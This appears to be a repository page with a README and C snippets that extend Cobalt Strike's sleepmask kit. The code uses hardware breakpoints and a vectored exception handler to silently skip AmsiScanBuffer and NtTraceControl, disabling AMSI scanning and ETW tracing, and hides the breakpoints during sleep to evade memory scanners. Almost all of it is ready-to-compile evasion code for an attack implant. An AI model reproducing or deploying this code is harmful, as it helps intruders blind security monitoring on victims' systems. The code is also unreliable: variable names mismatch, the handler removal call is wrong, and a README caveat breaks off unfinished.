🤬
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# sleepmask_ekko_cfg
     2 +Code snippets to add on top of cobalt strike sleepmask kit so that patchless hook on AMSI and ETW can be achieved.
     3 + 
     4 +_Only for experimental purpose._
     5 +_Always test to make sure its working as intended_
     6 + 
     7 + 
     8 +From my peronsal view, suggest not to use it in existing process (i.e. inject), but use it in a newly spawned process (i.e. spawn)
     9 + 
     10 +## Feature
     11 +1. Breakpoint will be removed during sleep to avoid scanner (I hope lol)
     12 +2. Avoid scanner like moneta that will detect DLL has been modified.
     13 + 
     14 + 
     15 +## Usage
     16 +1. Include "patchless.c" in sleepmask.c (only supports x64)
     17 +2. Add the functions required to do patchless hook on desired functions
     18 +- You may refer to sleepmask.c to see what have been amended
     19 +3. Put patchless.c in src47 folder
     20 +4. Compile
     21 + 
     22 +## Caveat
     23 +1. It cannot cater if your action will create new thread during the execution period of time, which means newly spawned threads at that specific period will not have patchless hook. Theoretically, the newly spawned thread(s) will have patchless hook after one sleep cycle.
     24 +2. If you want to address above caveat, you
     25 + 
     26 + 
     27 +## Credits
     28 +All credits to [@rad9800](https://github.com/rad9800)
  • ■ ■ ■ ■ ■ ■
    patchless.c
     1 +#include <tlhelp32.h>
     2 + 
     3 +// some required APIs are defined / imported already in CS provided sleepmask kit
     4 +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread();
     5 +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId();
     6 +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD);
     7 +WINBASEAPI BOOL WINAPI KERNEL32$Thread32First(HANDLE, LPTHREADENTRY32);
     8 +WINBASEAPI BOOL WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
     9 +WINBASEAPI PVOID WINAPI KERNEL32$AddVectoredExceptionHandler(ULONG, PVECTORED_EXCEPTION_HANDLER);
     10 +WINBASEAPI ULONG WINAPI KERNEL32$RemoveVectoredExceptionHandler(PVOID);
     11 +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE, LPCSTR);
     12 +WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
     13 +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR);
     14 + 
     15 +#define GetCurrentThread KERNEL32$GetCurrentThread
     16 +#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
     17 +#define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot
     18 +#define Thread32First KERNEL32$Thread32First
     19 +#define Thread32Next KERNEL32$Thread32Next
     20 +#define AddVectoredExceptionHandler KERNEL32$AddVectoredExceptionHandler
     21 +#define RemoveVectoredExceptionHandler KERNEL32$RemoveVectoredExceptionHandler
     22 +#define GetProcAddress KERNEL32$GetProcAddress
     23 +#define GetModuleHandleA KERNEL32$GetModuleHandleA
     24 +#define LoadLibraryA KERNEL32$LoadLibraryA
     25 + 
     26 + 
     27 +void set_hardware_breakpoint(const DWORD tid, const uintptr_t address, const UINT pos, const BOOL init)
     28 +{
     29 + CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
     30 + HANDLE thd;
     31 + 
     32 + if (tid == GetCurrentThreadId())
     33 + {
     34 + thd = GetCurrentThread();
     35 + }
     36 + else
     37 + {
     38 + thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
     39 + }
     40 + 
     41 + GetThreadContext(thd, &context);
     42 + 
     43 + if (init)
     44 + {
     45 + (&context.Dr0)[pos] = address;
     46 + context.Dr7 &= ~(3ull << (16 + 4 * pos));
     47 + context.Dr7 &= ~(3ull << (18 + 4 * pos));
     48 + context.Dr7 |= 1ull << (2 * pos);
     49 + }
     50 + else
     51 + {
     52 + if ((&context.Dr0)[pos] == address)
     53 + {
     54 + context.Dr7 &= ~(1ull << (2 * pos));
     55 + (&context.Dr0)[pos] = 0ull;
     56 + }
     57 + }
     58 + 
     59 + SetThreadContext(thd, &context);
     60 + 
     61 + if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);
     62 +}
     63 + 
     64 + 
     65 +void set_hardware_breakpoints(const uintptr_t address, const UINT pos, const BOOL init, const DWORD tid)
     66 +{
     67 + const DWORD pid = GetCurrentProcessId();
     68 + const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
     69 + 
     70 + if (h != INVALID_HANDLE_VALUE) {
     71 + THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
     72 + 
     73 + if (Thread32First(h, &te)) {
     74 + do {
     75 + if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
     76 + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
     77 + if (tid != 0 && tid != te.th32ThreadID) {
     78 + continue;
     79 + }
     80 + set_hardware_breakpoint(te.th32ThreadID, address, pos, init);
     81 + 
     82 + }
     83 + te.dwSize = sizeof(te);
     84 + } while (Thread32Next(h, &te));
     85 + }
     86 + CloseHandle(h);
     87 + }
     88 +}
     89 + 
     90 +uintptr_t find_gadget(const uintptr_t function, const BYTE* stub, const UINT size, const size_t dist)
     91 +{
     92 + for (size_t i = 0; i < dist; i++)
     93 + {
     94 + if (memcmp((LPVOID)(function + i), stub, size) == 0) {
     95 + return (function + i);
     96 + }
     97 + }
     98 + return 0ull;
     99 +}
     100 + 
     101 +LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo)
     102 +{
     103 + if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
     104 + {
     105 + if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 || ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr1 ) {
     106 +
     107 + //Below if else branch can be commented out, only for debug purpose
     108 + 
     109 + if (ExceptionInfo->ContextRecord->Rip == (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl")) {
     110 + BeaconPrintf(CALLBACK_OUTPUT , "[+] In exception handler of NtTraceControl.\n");
     111 + } else {
     112 + BeaconPrintf(CALLBACK_OUTPUT , "[+] In exception handler of AmsiScanBuffer.\n");
     113 + }
     114 + 
     115 + // End of debug branch
     116 + 
     117 + ExceptionInfo->ContextRecord->Rip = find_gadget(ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
     118 + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
     119 + }
     120 + return EXCEPTION_CONTINUE_EXECUTION;
     121 + }
     122 + return EXCEPTION_CONTINUE_SEARCH;
     123 +}
  • ■ ■ ■ ■ ■ ■
    sleepmask.c
     1 + 
     2 +/*code snippets*/
     3 + 
     4 +#if _WIN64
     5 +#include "patchless.c"
     6 +//To keep track and set handler
     7 +BOOL init = FALSE;
     8 +#endif
     9 + 
     10 +/* In sleepmask main function*/
     11 +{
     12 +#if _WIN64
     13 + //Remove breakpoint
     14 + uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl");
     15 + uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
     16 +
     17 +
     18 + if(initialize == TRUE)
     19 + {
     20 + set_hardware_breakpoints(etwPatchAddr, 0, FALSE, 0);
     21 + set_hardware_breakpoints(amsiPatchAddr, 1, FALSE, 0);
     22 + RemoveVectoredExceptionHandler(exception_handler);
     23 + }
     24 +#endif
     25 + 
     26 +/*code snippets*/
     27 + 
     28 +#if _WIN64
     29 + // Set breakpoint
     30 + if (init == FALSE)
     31 + {
     32 + AddVectoredExceptionHandler(1, exception_handler);
     33 + init = TRUE;
     34 + }
     35 + set_hardware_breakpoints(etwPatchAddr, 0, TRUE, 0);
     36 + set_hardware_breakpoints(amsiPatchAddr, 1, TRUE, 0);
     37 +#endif
     38 +}
     39 + 
Please wait...
Page is in error, reload to recover